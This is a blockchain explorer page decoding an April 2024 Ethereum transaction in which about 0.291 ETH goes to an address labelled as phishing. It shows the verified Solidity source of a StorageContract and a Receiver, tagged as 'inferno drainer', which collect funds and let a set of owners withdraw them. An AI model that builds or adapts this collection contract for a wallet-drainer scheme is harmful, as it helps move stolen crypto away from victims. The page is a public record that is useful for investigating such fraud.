ETH Price: $2,515.04 (-2.67%)

Transaction Decoder

Block:
19616838 at Apr-09-2024 08:16:23 AM +UTC
Transaction Fee:
0.001644355991849064 ETH $4.14
Gas Used:
38,831 Gas / 42.346475544 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x000037bB...826Ce0000
(Fake_Phishing188250)
48.244153862423420314 Eth48.535289348856932557 Eth0.291135486433512243
(Titan Builder)
12.79764361380224941 Eth12.798126508955716136 Eth0.000482895153466726
0xC626243F...dDa43D9A2
0.296637987465699603 Eth
Nonce: 23
0.003858145040338296 Eth
Nonce: 24
0.292779842425361307

Execution Trace

ETH 0.291135486433512243 Fake_Phishing327902.CALL( )
  • StorageContract.CALL( )
  • ETH 0.291135486433512243 Receiver.CALL( )
    File 1 of 2: StorageContract
    // @mr_inferno_drainer / inferno drainer
    
    pragma solidity ^0.8.6;
    
    contract StorageContract {
        address public nativeCryptoReceiver;
        address[] public owners;
    
        constructor(address defaultNativeCryptoReceiver, address firstOwner) {
            nativeCryptoReceiver = defaultNativeCryptoReceiver;
            owners.push(firstOwner);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < owners.length; i++) {
                if (msg.sender == owners[i]) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        function addOwner(address newOwner) public onlyOwner {
            owners.push(newOwner);
        }
    
        function getOwners() public view returns (address[] memory) {
            return owners;
        }
    
        function removeOwner(address ownerToRemove) public onlyOwner {
            uint256 index = type(uint256).max;
    
            for (uint256 i = 0; i < owners.length; i++) {
                if (owners[i] == ownerToRemove) {
                    index = i;
                    break;
                }
            }
    
            require(index != type(uint256).max, "Owner not found");
            require(owners.length > 1, "Cannot remove the last owner");
    
            owners[index] = owners[owners.length - 1];
            owners.pop();
        }
    
        function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
            public
            onlyOwner
        {
            nativeCryptoReceiver = newNativeCryptoReceiver;
        }
    }

    File 2 of 2: Receiver
    // File: contracts/StorageContract.sol
    
    
    
    pragma solidity ^0.8.6;
    
    contract StorageContract {
        address public nativeCryptoReceiver;
        address[] public owners;
    
        constructor(address defaultNativeCryptoReceiver, address firstOwner) {
            nativeCryptoReceiver = defaultNativeCryptoReceiver;
            owners.push(firstOwner);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < owners.length; i++) {
                if (msg.sender == owners[i]) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        function addOwner(address newOwner) public onlyOwner {
            owners.push(newOwner);
        }
    
        function getOwners() public view returns (address[] memory) {
            return owners;
        }
    
        function removeOwner(address ownerToRemove) public onlyOwner {
            uint256 index = type(uint256).max;
    
            for (uint256 i = 0; i < owners.length; i++) {
                if (owners[i] == ownerToRemove) {
                    index = i;
                    break;
                }
            }
    
            require(index != type(uint256).max, "Owner not found");
            require(owners.length > 1, "Cannot remove the last owner");
    
            owners[index] = owners[owners.length - 1];
            owners.pop();
        }
    
        function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
            public
            onlyOwner
        {
            nativeCryptoReceiver = newNativeCryptoReceiver;
        }
    }
    
    // File: contracts/Receiver.sol
    
    
    pragma solidity ^0.8.4;
    
    
    contract Receiver {
        StorageContract storageContract;
    
        mapping(address => uint256) private balances;
    
        constructor(address storageContractAddress) {
            storageContract = StorageContract(storageContractAddress);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < storageContract.getOwners().length; i++) {
                if (msg.sender == storageContract.owners(i)) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        receive() external payable {}
    
        fallback() external payable {}
    
        function withdraw(uint256 amount, address recipient) public onlyOwner {
            require(
                amount <= address(this).balance,
                "Not enough balance in the contract"
            );
    
            (bool sent, ) = payable(recipient).call{value: amount}("");
            require(sent, "Fail");
        }
    
        function bulkWithdraw(uint256[] memory amounts, address[] memory recipients)
            public
            onlyOwner
        {
            require(
                amounts.length == recipients.length,
                "The amounts and recipients length mismatch"
            );
    
            for (uint256 i = 0; i < recipients.length; i++) {
                uint256 amount = amounts[i];
                address recipient = recipients[i];
    
                require(
                    amount <= address(this).balance,
                    "Not enough balance in the contract"
                );
    
                (bool sent, ) = payable(recipient).call{value: amount}("");
                require(sent, "Fail");
            }
        }
    }